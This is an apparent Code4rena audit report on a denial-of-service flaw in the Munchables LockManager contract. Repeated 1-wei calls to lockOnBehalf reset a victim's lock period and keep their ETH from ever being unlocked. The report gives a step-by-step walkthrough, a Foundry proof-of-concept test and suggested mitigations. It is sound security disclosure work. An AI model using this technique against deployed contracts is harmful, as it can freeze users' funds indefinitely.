Munchables - 0xfox's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L381-L384 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L311-L398 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L275-L294

Vulnerability details

Impact

This vulnerability allows any user to re-lock another user's already locked funds and prevent access to them. This denial of service (DoS) attack can persist indefinitely as long as the attacker continues to lock small amounts of tokens/ETH repeatedly, thus preventing the victim from unlocking their locked tokens/ETH potentially causing a significant loss of funds as the attack can easily be executed by pretty much any user.

Proof of Concept

Walkthrough of the attack assuming the lock time is 90 days:

1. Victim locks 10 ETH using LockManager::lock.
2. After an arbitrary amount of time the attacker locks 1 Wei on behalf of the victim using LockManager::lockOnBehalf.
3. After 90 days the victim attempts to unlock their ETH using the LockManager::unlock function, but the transaction reverts with ILockManager::TokenStillLockedError, because the attacker relocked all the funds.
4. Attacker repeats step 2 and so on..

For proof of the vulnerability place the following test inside of SpeedRun.t.sol and run it:

    function test_BlockUserFromUnlockingFunds() public {
        uint256 victimBalance = 100e18;
        uint256 attackerBalance = 1;
        uint256 lockTime = 90 days;
        address victim = makeAddr("victim");
        vm.deal(victim, victimBalance);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, attackerBalance);
        deployContracts();

        // register victim and lock ETH
        vm.startPrank(victim);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        lm.lock{value: victimBalance}(address(0), victimBalance);
        lm.setLockDuration(lockTime);
        // warp by lock time, ETH is now unloackable
        uint256 unlockTime = block.timestamp + lockTime;
        vm.warp(unlockTime);
        vm.stopPrank();

        // register attacker and lock insignificant amount of ETH
        vm.startPrank(attacker);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        lm.lockOnBehalf{value: attackerBalance}(address(0), attackerBalance, victim);
        vm.stopPrank();

        // try to unlock ETH as the victim
        // reverts, because ETH was relocked by attacker
        vm.expectRevert(ILockManager.TokenStillLockedError.selector);
        vm.prank(victim);
        lm.unlock(address(0), victimBalance);
    }

Tools Used

Manual review.

Recommended Mitigation Steps

1. Require explicit consent: Introduce a mechanism to require explicit consent from the _onBehalfOf address before allowing anyone to lock tokens on their behalf. This can be achieved by adding an approval step where the _onBehalfOf address must approve the locking action.
2. Rate limiting: Implement rate limiting to prevent excessive locking actions in a short period of time.
3. Minimum lock amount: Introduce a minimum lock amount to prevent attackers from locking insignificant amounts repeatedly.
4. Separate lock periods: Ensure that new locks do not affect the lock period of existing locked tokens. This can be done by maintaining separate lock periods for each locking action.

Assessed type

DoS